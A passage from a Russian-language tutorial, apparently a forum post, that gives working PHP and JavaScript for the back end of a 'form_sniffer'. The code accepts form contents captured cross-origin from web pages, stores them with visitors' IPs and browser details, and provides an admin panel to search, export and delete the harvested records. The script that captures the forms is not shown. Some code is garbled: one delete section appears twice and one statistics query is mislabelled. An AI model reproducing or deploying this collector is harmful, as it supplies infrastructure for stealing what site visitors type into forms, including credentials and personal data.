- CORS настраивается динамически на основе списка разрешенных доменов
Обработка preflight-запросов
Корректная обработка OPTIONS-запросов критически важна для CORS. Браузер отправляет preflight-запрос перед основным POST-запросом, и если сервер не ответит правильно, основной запрос будет заблокирован.
PHP:
private function getRequestData(): ?array {
$input = file_get_contents('php://input');
if (strlen($input) > $this->config['max_data_size']) {
return null;
}
$data = json_decode($input, true);
return json_last_error() === JSON_ERROR_NONE ? $data : null;
}
Ограничение в 1MB предотвращает DoS-атаки через отправку огромных JSON-объектов. Проверка json_last_error() гарантирует корректность JSON-структуры.
Генерация ID сессии:
PHP:
private function generateSessionId(): string {
return session_id() ?: bin2hex(random_bytes(16));
}
Если PHP-сессия не инициализирована, генерируется зашифрованный случайный идентификатор длиной 32 символа.
Сохранение данных в БД:
PHP:
private function saveData(array $data): bool {
try {
$sql = 'INSERT INTO form_submissions (
page_url, form_data, timestamp, ip_address, user_agent,
referrer, form_id, form_action, session_id, created_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, NOW())';
$stmt = $this->pdo->prepare($sql);
return $stmt->execute([
$data['page_url'],
json_encode($data['form_data'], JSON_UNESCAPED_UNICODE),
$data['timestamp'],
$data['ip_address'],
$data['user_agent'],
$data['referrer'],
$data['form_id'],
$data['form_action'],
$data['session_id']
]);
} catch (PDOException $e) {
error_log("Failed to save form data: " . $e->getMessage());
return false;
}
}
Использование prepared statements предотвращает SQL-инъекции. JSON_UNESCAPED_UNICODE обеспечивает корректное сохранение Unicode-символов в JSON.
Обработка ошибок:
PHP:
private function respondWithError(string $message, int $code = 400): void {
http_response_code($code);
echo json_encode([
'status' => 'error',
'message' => $message,
'timestamp' => date('c')
], JSON_UNESCAPED_UNICODE);
exit;
}
private function respondWithSuccess(array $data): void {
http_response_code(200);
echo json_encode($data, JSON_UNESCAPED_UNICODE);
exit;
}
Стандартизированный формат ответов упрощает обработку на клиентской стороне. Временная метка в ответах об ошибках помогает при отладке.
Глобальная обработка исключений:
PHP:
try {
$collector = new FormCollector();
$collector->handleRequest();
} catch (Throwable $e) {
error_log("FormCollector error: " . $e->getMessage());
http_response_code(500);
echo json_encode([
'status' => 'error',
'message' => 'Internal server error',
'timestamp' => date('c')
]);
}
Catch блок для Throwable перехватывает все возможные ошибки и исключения, предотвращая раскрытие внутренней информации о системе.
Часть 3. Админ панель.
Система аутентификации (login.php, logout.php)
Система аутентификации построена на современных принципах безопасности с поддержкой устойчивых сессий и защитой от атак методом подбора.
Архитектура входа в систему:
PHP:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = trim($_POST['username'] ?? '');
$password = $_POST['password'] ?? '';
$remember = isset($_POST['remember']);
if (empty($username) || empty($password)) {
$error = 'Please fill in all fields';
} else {
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
'username',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
Базовая валидация происходит на серверной стороне, несмотря на наличие клиентской проверки. Никогда не стоит доверять данным клиента, все необходимо проверять.
Проверка учетных данных:
PHP:
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND is_active = 1');
$stmt->execute([$username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) {
$update_stmt = $pdo->prepare('UPDATE users SET last_login = NOW() WHERE id = ?');
$update_stmt->execute([$user['id']]);
$_SESSION['logged_in'] = true;
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
$_SESSION['role'] = $user['role'];
Использование password_verify() обеспечивает безопасную проверку хешированных паролей. Поле is_active позволяет временно отключать пользователей без удаления их данных.
Управление сессиями:
PHP:
$session_id = session_id();
$expires_at = date('Y-m-d H:i:s', time() + ($remember ? 2592000 : 3600));
$session_stmt = $pdo->prepare('
INSERT INTO user_sessions (id, user_id, ip_address, user_agent, expires_at)
VALUES (?, ?, ?, ?, ?)
ON DUPLICATE KEY UPDATE expires_at = VALUES(expires_at)
');
$session_stmt->execute([
$session_id,
$user['id'],
$_SERVER['REMOTE_ADDR'] ?? '',
$_SERVER['HTTP_USER_AGENT'] ?? '',
$expires_at
]);
Сессии сохраняются в БД с привязкой к IP и User-Agent. Это позволяет отслеживать активные сессии и принудительно завершать их при необходимости. Опция "запомни меня" увеличивает время жизни до 30 дней.
Система "запомни меня"
PHP:
if ($remember) {
setcookie('remember_token', hash('sha256', $session_id . $user['id']), time() + 2592000, '/', '', true, true);
}
Токен "remember me" представляет собой хеш от комбинации session_id и user_id. Это предотвращает возможность подделки токенов, так как хАкЕрЫ не смогут угадать session_id.
Сохранение активной сессии:
PHP:
if (isset($_COOKIE['remember_token']) && !isset($_SESSION['logged_in'])) {
try {
$stmt = $pdo->prepare('
SELECT u.* FROM users u
JOIN user_sessions s ON u.id = s.user_id
WHERE SHA2(CONCAT(s.id, u.id), 256) = ?
AND s.expires_at > NOW()
AND u.is_active = 1
');
$stmt->execute([$_COOKIE['remember_token']]);
$user = $stmt->fetch();
if ($user) {
$_SESSION['logged_in'] = true;
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
$_SESSION['role'] = $user['role'];
header('Location: admin.php');
exit;
} else {
setcookie('remember_token', '', time() - 3600, '/');
}
} catch (PDOException $e) {
error_log('Remember me check error: ' . $e->getMessage());
}
}
Проверка токена происходит через SQL-запрос с использованием функции SHA2. Если токен недействителен или истек, он автоматически удаляется.
Безопасный выход из аккаунта:
PHP:
if (isset($_SESSION['user_id'])) {
try {
$stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$stmt->execute([
$_SESSION['user_id'],
'logout',
json_encode(['session_id' => session_id()]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
$session_stmt = $pdo->prepare('DELETE FROM user_sessions WHERE id = ?');
$session_stmt->execute([session_id()]);
} catch (PDOException $e) {
error_log('Logout error: ' . $e->getMessage());
}
}
$_SESSION = [];
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
if (isset($_COOKIE['remember_token'])) {
setcookie('remember_token', '', time() - 3600, '/', '', true, true);
}
session_destroy();
Полная очистка: логирование выхода, удаление записи сессии из БД, очистка PHP-сессии, удаление всех связанных cookies.
Основной интерфейс панели (admin.php)
Админ панель представляет собой "лендинг-страницу" со всем пользовательским функционалом:
Проверка авторизации и инициализация:
PHP:
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header('Location: login.php');
exit;
}
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
'username',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false
]
);
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
Каждый запрос к админ-панели начинается с проверки авторизации. ATTR_EMULATE_PREPARES => false заставляет MySQL использовать настоящие prepared statements.
Система фильтрации:
PHP:
$page = max(1, (int)($_GET['page'] ?? 1));
$limit = 25;
$offset = ($page - 1) * $limit;
$search = $_GET['search'] ?? '';
$date_from = $_GET['date_from'] ?? '';
$date_to = $_GET['date_to'] ?? '';
$page_filter = $_GET['page_filter'] ?? '';
$where_conditions = [];
$params = [];
if ($search) {
$where_conditions[] = "(page_url LIKE ? OR JSON_SEARCH(form_data, 'all', ?) IS NOT NULL)";
$params[] = "%$search%";
$params[] = "%$search%";
}
if ($date_from) {
$where_conditions[] = "DATE(created_at) >= ?";
$params[] = $date_from;
}
if ($date_to) {
$where_conditions[] = "DATE(created_at) <= ?";
$params[] = $date_to;
}
Динамическое построение WHERE-условий позволяет комбинировать различные фильтры. Использование JSON_SEARCH() обеспечивает поиск внутри JSON-полей с данными форм.
Получение статистики:
PHP:
$stats_queries = [
'total' => "SELECT COUNT(*) FROM form_submissions WHERE DATE(created_at) = CURDATE()",
'today' => "SELECT COUNT(*) FROM form_submissions WHERE DATE(created_at) = CURDATE()",
'week' => "SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 7 DAY)",
'month' => "SELECT COUNT(*) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)",
'unique_pages' => "SELECT COUNT(DISTINCT page_url) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)",
'unique_ips' => "SELECT COUNT(DISTINCT ip_address) FROM form_submissions WHERE created_at >= DATE_SUB(NOW(), INTERVAL 30 DAY)"
];
$stats = [];
foreach ($stats_queries as $key => $query) {
$stmt = $pdo->query($query);
$stats[$key] = $stmt->fetchColumn();
}
Сбор статистики происходит через отдельные запросы. Конечно, это менее эффективно, чем один сложный запрос, но значительно понятнее и легче в сопровождении.
Вспомогательные функции:
PHP:
function formatJsonData($jsonString): string {
$data = json_decode($jsonString, true);
if (!$data) return 'No data';
$formatted = '';
foreach ($data as $key => $value) {
if (is_string($value) && strlen($value) > 50) {
$value = substr($value, 0, 50) . '...';
}
$formatted .= "<span class='json-key'>\"$key\"</span>: <span class='json-string'>\"$value\"</span><br>";
}
return $formatted;
}
function timeAgo($datetime): string {
$time = time() - strtotime($datetime);
if ($time < 60) return 'Just now';
if ($time < 3600) return floor($time/60) . 'm ago';
if ($time < 86400) return floor($time/3600) . 'h ago';
if ($time < 2592000) return floor($time/86400) . 'd ago';
return date('M j, Y', strtotime($datetime));
}
Функции для форматирования данных в удобочитаемом виде. formatJsonData() автоматически обрезает длинные значения и добавляет CSS-классы для подсветки синтаксиса.
Определение типа устройства и браузера:
PHP:
function getDeviceType($userAgent): string {
if (preg_match('/Mobile|Android|iPhone|iPad/', $userAgent)) {
return preg_match('/iPad/', $userAgent) ? 'tablet' : 'mobile';
}
return 'desktop';
}
function getBrowser($userAgent): string {
$browsers = [
'Chrome' => '/Chrome\/[\d.]+/',
'Firefox' => '/Firefox\/[\d.]+/',
'Safari' => '/Safari\/[\d.]+/',
'Edge' => '/Edg\/[\d.]+/',
'Opera' => '/Opera\/[\d.]+/'
];
foreach ($browsers as $browser => $pattern) {
if (preg_match($pattern, $userAgent)) {
return $browser;
}
}
return 'Unknown';
}
Простой парсинг User-Agent для определения типа устройства и браузера. Регулярные выражения проверяются в порядке приоритета.
Клиентская логика управления профилями:
PHP:
function showProfile() {
hideUserMenu();
showModal('profileModal');
loadUserProfile();
}
function loadUserProfile() {
fetch('api/profile.php')
.then(response => response.json())
.then(data => {
if (data.success) {
const user = data.user;
document.getElementById('profileEmail').value = user.email || '';
document.getElementById('profileFirstName').value = user.first_name || '';
document.getElementById('profileLastName').value = user.last_name || '';
document.getElementById('profileBio').value = user.bio || '';
}
})
.catch(error => {
console.error('Error loading profile:', error);
showNotification('Failed to load profile data', 'error');
});
}
Загрузка профиля происходит через AJAX-запрос к API. Обработка ошибок включает как технический лог в консоль, так и пользовательское уведомление.
Валидация паролей на клиенте:
PHP:
function checkPasswordStrength(password) {
const strengthBar = document.getElementById('passwordStrengthBar');
let score = 0;
if (password.length >= 8) score++;
if (/[a-z]/.test(password)) score++;
if (/[A-Z]/.test(password)) score++;
if (/[0-9]/.test(password)) score++;
if (/[^A-Za-z0-9]/.test(password)) score++;
strengthBar.className = 'password-strength-bar';
if (score === 0) {
strengthBar.style.width = '0%';
} else if (score <= 2) {
strengthBar.classList.add('weak');
} else if (score === 3) {
strengthBar.classList.add('fair');
} else if (score === 4) {
strengthBar.classList.add('good');
} else {
strengthBar.classList.add('strong');
}
}
Оценка сложности пароля по пяти критериям. Визуальная индикация помогает пользователю создать надежный пароль.
Система уведомлений:
PHP:
function showNotification(message, type = 'success') {
const notification = document.createElement('div');
notification.className = `notification notification-${type}`;
notification.innerHTML = `
<i class="fas fa-${type === 'success' ? 'check' : 'exclamation-triangle'}"></i>
${message}
`;
document.body.appendChild(notification);
setTimeout(() => notification.classList.add('show'), 100);
setTimeout(() => {
notification.classList.remove('show');
setTimeout(() => notification.remove(), 300);
}, 3000);
}
Самоуничтожающиеся уведомления с анимацией. Задержка в 100ms перед добавлением класса show обеспечивает корректную CSS-анимацию.
Логи активности:
PHP:
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'export_data',
json_encode([
'format' => $format,
'filters' => compact('search', 'date_from', 'date_to', 'page_filter'),
'record_count' => count($data)
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
Детали операции сохраняются в JSON-формате, что позволяет хранить произвольную структуру данных для каждого типа действия.
Отображение логов активности:
PHP:
function loadActivityLog() {
const activityContent = document.getElementById('activityContent');
fetch('api/activity.php')
.then(response => response.json())
.then(data => {
if (data.success) {
activityContent.innerHTML = `
<div class="activity-list">
${data.activities.map(activity => `
<div class="activity-item">
<div class="activity-icon">
<i class="fas fa-${getActivityIcon(activity.action)}"></i>
</div>
<div class="activity-details">
<div class="activity-action">${formatActionName(activity.action)}</div>
<div class="activity-time">${formatTime(activity.created_at)}</div>
<div class="activity-ip">IP: ${activity.ip_address}</div>
</div>
</div>
`).join('')}
</div>
`;
}
});
}
Динамическое построение интерфейса на основе данных из API. Каждый тип действия получает соответствующую иконку и форматирование.
Автоматическая отчистка данных:
PHP:
if (rand(1, 100) === 1) {
register_shutdown_function(function() {
try {
$pdo = DatabaseConfig::getPDO();
$pdo->exec('DELETE FROM user_sessions WHERE expires_at < NOW()');
$pdo->exec("DELETE FROM rate_limits WHERE hour < DATE_FORMAT(DATE_SUB(NOW(), INTERVAL 48 HOUR), '%Y-%m-%d %H')");
$pdo->exec('DELETE FROM activity_logs WHERE created_at < DATE_SUB(NOW(), INTERVAL 90 DAY)');
} catch (Exception $e) {
Logger::error('Auto-cleanup failed: ' . $e->getMessage());
}
});
}
Вероятностная очистка (1% запросов) обеспечивает удаление устаревших данных без дополнительных cron-задач. Использование register_shutdown_function() гарантирует выполнение очистки после обработки пользовательского запроса.
Часть 4. Функциональные модули
Система экспорта данных (export.php)
Модуль экспорта предоставляет гибкие возможности выгрузки собранных данных в различных форматах с применением фильтров и ограничений по безопасности.
Инициализация и проверка доступа:
PHP:
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
http_response_code(403);
die('Access denied');
}
try {
$pdo = new PDO(
'mysql:host=localhost;dbname=form_sniffer;charset=utf8mb4',
'username',
'password',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]
);
} catch (PDOException $e) {
http_response_code(500);
die('Database connection failed');
}
Строгая проверка авторизации предшествует любым операциям. В случае ошибки подключения к БД пользователь получает HTTP 500 без раскрытия технических деталей.
Обработка параметров экспорта:
PHP:
$format = $_GET['format'] ?? 'csv';
$search = $_GET['search'] ?? '';
$date_from = $_GET['date_from'] ?? '';
$date_to = $_GET['date_to'] ?? '';
$page_filter = $_GET['page_filter'] ?? '';
$limit = min(10000, (int)($_GET['limit'] ?? 1000));
$where_conditions = [];
$params = [];
if ($search) {
$where_conditions[] = "(page_url LIKE ? OR JSON_SEARCH(form_data, 'all', ?) IS NOT NULL)";
$params[] = "%$search%";
$params[] = "%$search%";
}
if ($date_from) {
$where_conditions[] = "DATE(created_at) >= ?";
$params[] = $date_from;
}
if ($date_to) {
$where_conditions[] = "DATE(created_at) <= ?";
$params[] = $date_to;
}
Ограничение в 10,000 записей предотвращает экспорт огромных объемов данных, который может привести к таймауту или исчерпанию памяти. Поиск работает как по URL страниц, так и по содержимому JSON-данных форм.
Удобный экспорт результатов в CSV формате:
PHP:
function exportCsv(array $data, string $filename): void {
header('Content-Type: text/csv; charset=utf-8');
header("Content-Disposition: attachment; filename=\"{$filename}.csv\"");
header('Cache-Control: max-age=0');
$output = fopen('php://output', 'w');
fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));
if (!empty($data)) {
$headers = [
'ID', 'Page URL', 'Form ID', 'Form Action', 'IP Address',
'User Agent', 'Country', 'City', 'Referrer', 'Session ID',
'Created At', 'Form Data (JSON)'
];
fputcsv($output, $headers);
foreach ($data as $row) {
$csvRow = [
$row['id'],
$row['page_url'],
$row['form_id'] ?? '',
$row['form_action'] ?? '',
$row['ip_address'],
$row['user_agent'],
$row['country'] ?? '',
$row['city'] ?? '',
$row['referrer'] ?? '',
$row['session_id'] ?? '',
$row['created_at'],
$row['form_data']
];
fputcsv($output, $csvRow);
}
} else {
fputcsv($output, ['No data found']);
}
fclose($output);
}
Добавление BOM (Byte Order Mark) в начало файла обеспечивает корректное отображение UTF-8 символов в Excel. Использование php://output позволяет напрямую выводить данные в браузер без создания временного файла.
Экспорт в JSON:
PHP:
function exportJson(array $data, string $filename): void {
header('Content-Type: application/json; charset=utf-8');
header("Content-Disposition: attachment; filename=\"{$filename}.json\"");
header('Cache-Control: max-age=0');
$export_data = [
'export_info' => [
'timestamp' => date('c'),
'record_count' => count($data),
'exported_by' => $_SESSION['username'] ?? 'unknown'
],
'data' => array_map(function($row) {
$row['form_data_parsed'] = json_decode($row['form_data'], true);
return $row;
}, $data)
];
echo json_encode($export_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}
JSON-экспорт включает метаинформацию о выгрузке и автоматически парсит JSON-поля для удобства анализа. Флаг JSON_PRETTY_PRINT делает файл спокойно читаемым.
Экспорт в Excel:
PHP:
function exportExcel(array $data, string $filename): void {
header('Content-Type: application/vnd.ms-excel; charset=utf-8');
header("Content-Disposition: attachment; filename=\"{$filename}.xls\"");
header('Cache-Control: max-age=0');
echo chr(0xEF).chr(0xBB).chr(0xBF);
echo '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40">';
echo '<head><meta charset="UTF-8"></head>';
echo '<body>';
echo '<table border="1">';
if (!empty($data)) {
echo '<tr style="font-weight: bold; background-color: #f0f0f0;">';
echo '<td>ID</td><td>Page URL</td><td>Form ID</td><td>Form Action</td>';
echo '<td>IP Address</td><td>User Agent</td><td>Country</td><td>City</td>';
echo '<td>Referrer</td><td>Session ID</td><td>Created At</td><td>Form Data</td>';
echo '</tr>';
foreach ($data as $row) {
echo '<tr>';
echo '<td>' . htmlspecialchars($row['id']) . '</td>';
echo '<td>' . htmlspecialchars($row['page_url']) . '</td>';
echo '<td>' . htmlspecialchars($row['form_id'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['form_action'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['ip_address']) . '</td>';
echo '<td>' . htmlspecialchars($row['user_agent']) . '</td>';
echo '<td>' . htmlspecialchars($row['country'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['city'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['referrer'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['session_id'] ?? '') . '</td>';
echo '<td>' . htmlspecialchars($row['created_at']) . '</td>';
echo '<td>' . htmlspecialchars($row['form_data']) . '</td>';
echo '</tr>';
}
} else {
echo '<tr><td colspan="12">No data found</td></tr>';
}
echo '</table></body></html>';
}
Вкусовщина. Лично я часто использую Excel таблицы в работе, поэтому эта функция была реализована скорее для себя, нежели для активного использования.
Логирование экспортов:
PHP:
try {
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'export_data',
json_encode([
'format' => $format,
'filters' => compact('search', 'date_from', 'date_to', 'page_filter'),
'record_count' => count($data)
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
} catch (PDOException $e) {
error_log('Export logging error: ' . $e->getMessage());
}
Каждый экспорт логируется с указанием формата, примененных фильтров и количества экспортированных записей. Ошибки логирования не прерывают основной процесс экспорта.
API удаления (delete.php)
Модуль удаления обеспечивает безопасное удаление записей с детальным контролем доступа и логированием всех операций.
Проверка прав доступа:
PHP:
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
http_response_code(403);
echo json_encode(['success' => false, 'message' => 'Access denied']);
exit;
}
if (($_SESSION['role'] ?? '') !== 'admin') {
http_response_code(403);
echo json_encode(['success' => false, 'message' => 'Admin privileges required']);
exit;
}
header('Content-Type: application/json');
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
echo json_encode(['success' => false, 'message' => 'Method not allowed']);
exit;
}
Двухуровневая проверка: сначала аутентификация, затем авторизация по роли. Только администраторы могут удалять данные. Все ответы в JSON-формате для единообразия API.
Удаление записей:
PHP:
if (isset($data['id'])) {
$id = (int)$data['id'];
$stmt = $pdo->prepare('SELECT * FROM form_submissions WHERE id = ?');
$stmt->execute([$id]);
$record = $stmt->fetch();
if (!$record) {
echo json_encode(['success' => false, 'message' => 'Record not found']);
exit;
}
$delete_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE id = ?');
$result = $delete_stmt->execute([$id]);
if ($result && $delete_stmt->rowCount() > 0) {
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'delete_submission',
json_encode([
'deleted_id' => $id,
'page_url' => $record['page_url'],
'created_at' => $record['created_at']
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
echo json_encode(['success' => true, 'message' => 'Record deleted successfully']);
} else {
echo json_encode(['success' => false, 'message' => 'Failed to delete record']);
}
}
Проверка существования записи перед удалением предотвращает ложные сообщения об успехе. Детали удаленной записи сохраняются в логе для возможного восстановления.
Массовое удаление записей:
PHP:
elseif (isset($data['ids']) && is_array($data['ids'])) {
$ids = array_map('intval', $data['ids']);
$ids = array_filter($ids, fn($id) => $id > 0);
if (empty($ids)) {
echo json_encode(['success' => false, 'message' => 'No valid IDs provided']);
exit;
}
if (count($ids) > 1000) {
echo json_encode(['success' => false, 'message' => 'Cannot delete more than 1000 records at once']);
exit;
}
$placeholders = str_repeat('?,', count($ids) - 1) . '?';
$stmt = $pdo->prepare("SELECT id, page_url, created_at FROM form_submissions WHERE id IN ($placeholders)");
$stmt->execute($ids);
$records = $stmt->fetchAll();
$delete_stmt = $pdo->prepare("DELETE FROM form_submissions WHERE id IN ($placeholders)");
$result = $delete_stmt->execute($ids);
if ($result) {
$deleted_count = $delete_stmt->rowCount();
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'bulk_delete_submissions',
json_encode([
'deleted_count' => $deleted_count,
'requested_ids' => $ids,
'deleted_records' => array_column($records, 'id')
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
echo json_encode([
'success' => true,
'message' => "Successfully deleted $deleted_count record(s)",
'deleted_count' => $deleted_count
]);
}
}
Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.
Автоматическая отчистка:
PHP:
elseif (isset($data['action']) && $data['action'] === 'cleanup') {
$days = (int)($data['days'] ?? 90);
$days = max(1, min(365, $days));
$count_stmt = $pdo->prepare('SELECT COUNT(*) FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
$count_stmt->execute([$days]);
$count = $count_stmt->fetchColumn();
if ($count > 0) {
$cleanup_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
$result = $cleanup_stmt->execute([$days]);
if ($result) {
$deleted_count = $cleanup_stmt->rowCount();
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'cleanup_old_data',
json_encode([
'retention_days' => $days,
'deleted_count' => $deleted_count
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
echo json_encode([
'success' => true,
'message' => "Cleanup completed. Deleted $deleted_count old record(s)",
'deleted_count' => $deleted_count
]);
}
} else {
echo json_encode([
'success' => true,
'message' => 'No old records found to cleanup',
'deleted_count' => 0
]);
}
}
Ограничение в 1000 записей предотвращает случайное удаление всей базы. Динамическое построение плейсхолдеров обеспечивает безопасность prepared statements для произвольного количества ID.
Автоматическая отчистка:
PHP:
elseif (isset($data['action']) && $data['action'] === 'cleanup') {
$days = (int)($data['days'] ?? 90);
$days = max(1, min(365, $days));
$count_stmt = $pdo->prepare('SELECT COUNT(*) FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
$count_stmt->execute([$days]);
$count = $count_stmt->fetchColumn();
if ($count > 0) {
$cleanup_stmt = $pdo->prepare('DELETE FROM form_submissions WHERE created_at < DATE_SUB(NOW(), INTERVAL ? DAY)');
$result = $cleanup_stmt->execute([$days]);
if ($result) {
$deleted_count = $cleanup_stmt->rowCount();
$log_stmt = $pdo->prepare('
INSERT INTO activity_logs (user_id, action, details, ip_address)
VALUES (?, ?, ?, ?)
');
$log_stmt->execute([
$_SESSION['user_id'],
'cleanup_old_data',
json_encode([
'retention_days' => $days,
'deleted_count' => $deleted_count
]),
$_SERVER['REMOTE_ADDR'] ?? ''
]);
echo json_encode([
'success' => true,
'message' => "Cleanup completed. Deleted $deleted_count old record(s)",
'deleted_count' => $deleted_count
]);
}
} else {
echo json_encode([
'success' => true,
'message' => 'No old records found to cleanup',
'deleted_count' => 0
]);
}
}
Профили пользователей (profile.php)
API управления профилями поддерживает CRUD-операции с динамическим расширением схемы БД.
Получение профиля пользователя:
PHP:
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$_SESSION['user_id']]);
$user = $stmt->fetch();
if ($user) {
unset($user['password_hash']);
echo json_encode(['success' => true, 'user' => $user]);
} else {
echo json_encode(['success' => false, 'message' => 'User not found']);
}
}
Хеш пароля исключается из ответа для безопасности, даже если злоумышленник получит доступ к API-ответу.
Динамическое обновление схемы:
PHP:
elseif ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
$columns = $pdo->query("SHOW COLUMNS FROM users")->fetchAll(PDO::FETCH_COLUMN);
if (!in_array('first_name', $columns)) {
$pdo->exec("ALTER TABLE users ADD COLUMN first_name VARCHAR(50) NULL AFTER email");
}
if (!in_array('last_name', $columns)) {
$pdo->exec("ALTER TABLE users ADD COLUMN last_name VARCHAR(50) NULL AFTER first_name");
}
if (!in_array('bio', $columns)) {
$pdo->exec("ALTER TABLE users ADD COLUMN bio TEXT NULL AFTER last_name");
}
$allowedFields = ['email', 'first_name', 'last_name', 'bio'];
$updateFields = [];
$updateValues = [];
foreach ($allowedFields as $field) {
if (isset($data[$field])) {
$updateFields[] = "$field = ?";
$updateValues[] = $data[$field];
}
}
if (empty($updateFields)) {
echo json_encode(['success' => false, 'message' => 'No valid fields to update']);
exit;
}
$updateValues[] = $_SESSION['user_id'];
$sql = "UPDATE users SET " . implode(', ', $updateFields) . ", updated_at = NOW() WHERE id = ?";
$stmt = $pdo->prepare($sql);
$result = $stmt->execute($updateValues);
}
Автоматическое добавление колонок обеспечивает обратную совместимость при развертывании на существующих инсталляциях. Whitelist разрешенных полей предотвращает изменение критических данных.
Смена пароля:
PHP:
elseif ($_SERVER['REQUEST_METHOD'] === 'PUT') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if (!$data || !isset($data['current_password']) || !isset($data['new_password'])) {
echo json_encode(['success' => false, 'message' => 'Missing required fields']);
exit;
}
$stmt = $pdo->prepare('SELECT password_hash FROM users WHERE id = ?');
$stmt->execute([$_SESSION['user_id']]);
$user = $stmt->fetch();
if (!$user || !password_verify($data['current_password'], $user['password_hash'])) {
echo json_encode(['success' => false, 'message' => 'Current password is incorrect']);
exit;
}
if (strlen($data['new_password']) < 8) {
echo json_encode(['success' => false, 'message' => 'Password must be at least 8 characters long']);
exit;
}
$new_hash = password_hash($data['new_password'], PASSWORD_DEFAULT);
$stmt = $pdo->prepare('UPDATE users SET password_hash = ?, updated_at = NOW() WHERE id = ?');
$result = $stmt->execute([$new_hash, $_SESSION['user_id']]);
if ($result) {
echo json_encode(['success' => true, 'message' => 'Password changed successfully']);
} else {
echo json_encode(['success' => false, 'message' => 'Failed to change password']);
}
}
Обязательная проверка текущего пароля предотвращает несанкционированную смену пароля при компрометации сессии.
Логи активности (activity.php)
Простой API для получения персонального лога активности пользователя.
PHP:
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
http_response_code(403);
echo json_encode(['success' => false, 'message' => 'Access denied']);
exit;
}
header('Content-Type: application/json');
try {
$stmt = $pdo->prepare('
SELECT action, details, ip_address, created_at
FROM activity_logs
WHERE user_id = ?
ORDER BY created_at DESC
LIMIT 20
');
$stmt->execute([$_SESSION['user_id']]);
$activities = $stmt->fetchAll();
echo json_encode([
'success' => true,
'activities' => $activities
]);
} catch (PDOException $e) {
error_log('Activity API error: ' . $e->getMessage());
http_response_code(500);
echo json_encode(['success' => false, 'message' => 'Failed to fetch activities']);
}
Ограничение 20 записями предотвращает передачу больших объемов данных. Пользователь видит только свою активность, что обеспечивает конфиденциальность.
Интеграция с фронтом:
PHP:
function getActivityIcon(action) {
const icons = {
'login': 'sign-in-alt',
'logout': 'sign-out-alt',
